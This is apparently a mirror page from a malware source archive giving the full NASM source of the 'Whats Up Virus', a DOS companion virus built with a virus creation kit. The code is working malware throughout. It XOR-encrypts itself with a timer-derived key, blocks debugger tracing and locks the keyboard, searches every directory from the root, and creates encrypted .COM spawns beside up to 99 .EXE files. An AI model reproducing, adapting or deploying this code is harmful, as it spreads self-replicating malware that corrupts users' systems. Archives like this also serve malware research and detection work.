mirror of
https://github.com/vxunderground/MalwareSourceCode
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300 lines
8.1 KiB
NASM
300 lines
8.1 KiB
NASM
; WHATSUP.ASM -- Whats Up Virus
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by Unknown User
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virus_type equ 2 ; Spawning Virus
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is_encrypted equ 1 ; We're encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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start label near
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main proc near
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call encrypt_decrypt ; Decrypt the virus
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start_of_code label near
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stop_tracing: mov cx,09EBh
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mov ax,0FE05h ; Acutal move, plus a HaLT
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jmp $-2
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add ah,03Bh ; AH now equals 025h
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jmp $-10 ; Execute the HaLT
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mov bx,offset null_vector ; BX points to new routine
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push cs ; Transfer CS into ES
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pop es ; using a PUSH/POP
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int 021h
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mov al,1 ; Disable interrupt 1, too
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int 021h
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jmp short skip_null ; Hop over the loop
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null_vector: jmp $ ; An infinite loop
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skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
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lock_keys: mov al,128 ; Change here screws DEBUG
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out 021h,al ; If tracing then lock keyboard
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mov ah,04Ah ; DOS resize memory function
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mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
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int 021h
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mov sp,(finish - start) + 01100h ; Change top of stack
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mov si,offset spawn_name ; SI points to true filename
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int 02Eh ; DOS execution back-door
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push ax ; Save return value for later
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mov ax,cs ; AX holds code segment
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mov ds,ax ; Restore data segment
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mov es,ax ; Restore extra segment
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mov cx,0063h ; Do 99 infections
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search_loop: push cx ; Save CX
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call search_files ; Find and infect a file
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pop cx ; Restore CX
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loop search_loop ; Repeat until CX is 0
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pop ax ; AL holds return value
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mov ah,04Ch ; DOS terminate function
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int 021h
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main endp
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db 06Fh,050h,0CAh,0F9h,065h
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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mov dx,offset root ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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mov dx,offset all_files ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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pushf ; Save the flags
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mov ah,03Bh ; DOS change directory function
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mov dx,offset up_dir ; DX points to parent directory
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int 021h
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popf ; Restore the flags
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jnc done_searching ; If we infected then exit
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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mov dx,offset exe_mask ; DX points to "*.EXE"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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exe_mask db "*.EXE",0 ; Mask for all .EXE files
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traverse endp
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db 0B1h,043h,04Ah,043h,07Bh
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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db 011h,019h,099h,0B6h,0BDh
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov di,bx ; DI points to the DTA
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lea si,[di + 01Eh] ; SI points to file name
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mov dx,si ; DX points to file name, too
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mov di,offset spawn_name + 1; DI points to new name
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xor ah,ah ; AH holds character count
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transfer_loop: lodsb ; Load a character
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or al,al ; Is it a NULL?
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je transfer_end ; If so then leave the loop
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inc ah ; Add one to the character count
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stosb ; Save the byte in the buffer
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jmp short transfer_loop ; Repeat the loop
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transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
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mov byte ptr [di],13 ; Make CR the final character
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mov di,dx ; DI points to file name
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xor ch,ch ;
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mov cl,ah ; CX holds length of filename
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mov al,'.' ; AL holds char. to search for
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repne scasb ; Search for a dot in the name
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mov word ptr [di],'OC' ; Store "CO" as first two bytes
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mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
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mov byte ptr [set_carry],0 ; Assume we'll fail
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mov ax,03D00h ; DOS open file function, r/o
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int 021h
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jnc infection_done ; File already exists, so leave
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mov byte ptr [set_carry],1 ; Success -- the file is OK
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mov ah,03Ch ; DOS create file function
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mov cx,00100111b ; CX holds file attributes (all)
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int 021h
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xchg bx,ax ; BX holds file handle
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call encrypt_code ; Write an encrypted copy
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mov ah,03Eh ; DOS close file function
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int 021h
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infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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spawn_name db 12,12 dup (?),13 ; Name for next spawn
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set_carry db ? ; Set-carry-on-exit flag
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infect_file endp
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vcl_marker db "[VCL]",0 ; VCL creation marker
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note db "Whats Up Virus"
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db "By White Shark"
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db "Mess with the White Shark and"
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db "you'll be eaten alive!"
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encrypt_code proc near
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mov si,offset encrypt_decrypt; SI points to cipher routine
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xor ah,ah ; BIOS get time function
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int 01Ah
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mov word ptr [si + 8],dx ; Low word of timer is new key
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xor byte ptr [si],1 ;
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xor byte ptr [si + 7],1 ; Change all SIs to DIs
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xor word ptr [si + 10],0101h; (and vice-versa)
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mov di,offset finish ; Copy routine into heap
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mov cx,finish - encrypt_decrypt - 1 ; All but final RET
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push si ; Save SI for later
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push cx ; Save CX for later
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rep movsb ; Copy the bytes
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mov si,offset write_stuff ; SI points to write stuff
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mov cx,5 ; CX holds length of write
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rep movsb ; Copy the bytes
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pop cx ; Restore CX
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pop si ; Restore SI
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inc cx ; Copy the RET also this time
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rep movsb ; Copy the routine again
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mov ah,040h ; DOS write to file function
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mov dx,offset start ; DX points to virus
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call finish ; Encrypt/write/decrypt
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ret ; Return to caller
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write_stuff: mov cx,finish - start ; Length of code
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int 021h
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encrypt_code endp
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end_of_code label near
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encrypt_decrypt proc near
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mov si,offset start_of_code ; SI points to code to decrypt
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mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
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xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
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inc si ; Do the next word
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inc si ;
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loop xor_loop ; Loop until we're through
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ret ; Return to caller
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encrypt_decrypt endp
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finish label near
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code ends
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end main |